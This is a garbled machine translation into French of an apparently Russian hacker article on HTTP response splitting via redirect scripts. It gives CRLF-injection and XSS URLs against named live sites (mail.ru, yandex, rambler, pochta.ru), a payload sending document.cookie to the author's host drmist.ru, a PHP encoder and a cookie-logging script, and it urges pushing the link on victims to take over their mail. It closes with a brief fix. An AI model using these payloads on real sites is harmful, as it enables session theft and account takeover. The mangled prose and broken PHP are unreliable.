HTTP fractionnement vulnérabilité

L'article rassmtrivaetsya vulnérabilités des applications pratiques, connues comme le fractionnement HTTP vulnérabilité

tête Buggy () sous le microscope

Errant à travers les étendues de l'Internet, on observe souvent des espèces url http://anyhost.com/redirect.php?url=http://otherhost.com ingénument en ne pensant pas en permanence clique simplement sur elle répond également aux otherhost.com. Un curieux utilisateur insère sur le local url adresse cvoey hompagi également convaincu le script krivosti.
En plus des gens très intéressants vivants simples et intéressants sur Internet. Ils percent le lien dans AccessDiver aussi commencent à apprendre le script.

1. L'essence du bogue.
2. Application pratique.
3. Situation de la prévalence de l'erreur.
4. Les moyens de protection.

pour les pétroliers suggère que AccessDiver - "hakresky", telle qu'elle est exprimée dans la nation, une arme. Téléchargez autorisé à offsayte projet. Au moment d'écrire ces lignes, la dernière version de l'utilitaire était 4.173. Le programme est surtout connu pour sa fonction HTTP debuger. Pour l'utiliser, vous pouvez en allant dans le mode expert et en sélectionnant l'option appropriée dans le menu Outils (F4 puis CTR + F9 - en fonction de la version de la clé peut varier). Ensuite, nous ne serons pas soin de se concentrer sur cette mise en place, peut-être pour faire face au plongeur peut tous les écoliers.

pour les expériences que nous avons choisi mail.ru , car il est le service postal le plus célèbre en RUNET et le lecteur sera particulièrement intéressé à connaître un bug sur ce projet;) Allons-y le lien http://go.mail.ru/urltracker?url=http:/ /www.security-teams.net. Nous étendrons le portail le plus souvent élu pour la sécurité informatique). Ajout d'un site à vos favoris et revenir à l'e-mail. Nous écrivons qui nous intéressait le lien au champ Adresse HTTP, mise égale à la mode Get, cliquez sur Connexion.
Nous avons devant nous serons les en-têtes HTTP retournées par le serveur, quelque chose comme le skrinshete:



Il devrait concerner la ligne soulignée. Titres Met Lieu :, navigateur nous amène inconditionnellement à l'URL spécifiée. Par conséquent, nous pouvons relier l'utilisateur à glisser, pour ainsi dire, dans le courrier, mais il devient vraiment ne pas envoyer. Cela est bien, mais en pratique, rien n'aliène pas.

Faites attention que les lignes dans le titre sont séparés par deux caractères 0Dh 0Ah. Et que, si à leur attribuer à la fin de la référence? Voyons voir ce que nous allons retourner la demande serveur objection http://go.mail.ru/urltracker?url=null%0D%0AHacked_by:%20drmist:



Comment intéressant. Donc, nous pouvons faire le serveur renvoie presque tous les titres. Par exemple, pour modifier les cookies des utilisateurs. Mais, encore une fois, ce n'est pas aussi intéressant que ce qui s'attarde avant. Fait intéressant, les en- têtes sont séparées de la séquence 0Dh 0Ah 0Dh 0Ah acte corporel. Sommes-nous capables de donner une pleine page? Entrez http://go.mail.ru/urltracker?url=% 0D% 0A% 0D% 0A <script> alert (document.cookie); </ script> <- aussi regarder:



Tout jaune - est le texte du document lui-même. Si votre navigateur est activé JavaScript, puis cliquez sur le lien, nous allons voir notre boîte de message avec le cookie. Afin de rendre l'attaque XSS, vous devez:
1) Créer un type de page <script> document.location = 'http://drmist.ru/log.php?'+document.cookie; </ script>
2) Transfert à url-encode en utilisant un script:

<? Php
$ Url = "http://go.mail.ru/urltracker?url=";
de $ s = "<script> document.location = 'http: //drmist.ru/log.php'";
$ S = "+ document.cookie; < / script>" .;
$ Res = "";
for ($ i = 0; $ i <strlen ($ s ); $ i ++)
{
$ Res = "%" .;
$ T = ord ([$ s $ i]);
if ($ t <16)
$ Res = "0" .;
$ Res = dechex ($ t) .;
}

.. Echo $ url "% 0d % 0a% 0d% 0a" $ res;
?>

Nous obtenons:
http://go.mail.ru/urltracker?url=%0d%0a%0d%0a%3c%73%63 ... etc. (**)

3) écrire un script log.php aussi le verser sur drmist.ru:
<? Php
fid $ = fopen ( "../ log.txt ", "a");
fputs (fid $, $ _SERVER [ "QUERY_STRING"] "\ r \ r \ r".);
fclose ($ fid);
header ( "Location: http://www.mail.ru") ;
?>

Aujourd'hui permis vparivat lien magique (**) et d'achat des cookies victime.
Comme il est permis de faire beaucoup de choses utiles, telles que l'accès au courrier électronique, mais plus sur cela dans une journée, nous sommes aussi tellement cool distrait du thème principal.

Bien sûr, il ne faut pas conduire sur le courrier, il est buggé merde de ressources, et enfin aucun moyen de sortir de notre bac à sable. Tous les gens ont tendance à faire l'erreur, cependant, les administrateurs meyl.ru mal moins souvent et moins souvent. Les vrais insectes demeurent. Les gens sont silencieux à leur sujet non pas à cause de la cupidité, mais par crainte d'une réponse inadéquate à l'administration de leur présence, qui, selon les statistiques, a une place. Heureusement, la présence de XSS ne garantit toujours pas avoir accès à la boîte aux lettres. Je suis sûr, je couvrirai un bug. Latest - par 2 jours. Vulnérable non seulement mail.ru. Nous vous recommandons fortement de lire:
http://yandex.ru/redir/?url=[XSS]
http://rambler.ru//click?_URL=[XSS]

Franchement, nous avons été surpris d'être grand à quel moment ont appris au sujet de ces vulnérabilités a écrit sur securitylab.ru il y a 3 ans (voir introduction CRLF en PHP fonction header () à partir de 10.09.2002), mais à cause de l'application pratique du bogue, nous ne pouvons pas Heard n'a jamais, elle a examiné le sujet à ce jour. En outre, blah blah vryatli autorisé à appeler pas la présence réelle de bugs sur Yandex, Rambler et le courrier.

Corrigez l'erreur de ne pas difficile. Que manger le script vulnérable:

<?
if (! isset ($ url) )
$ Url = "http://www.mail.ru";

header ( "Location: $ url" );

?>

Nous lui faisons invulnérable:

header ( "Location:" .urlencode ( $ url));

Si vous envisagez de rediriger uniquement dans un site, il est préférable de le faire:

header ( "Location: http://www.mail.ru/".urlencode($url)) ;

C'est probablement aussi tout ce que nous voulions dire. Laissez offre enfin plusieurs XSS:

http://talk.mail.ru/article.html?ID=31836089&page=1 "> <h1> XSS < / h1>
http://www.pochta.ru/?lng=en "<h1> XSS </ h1>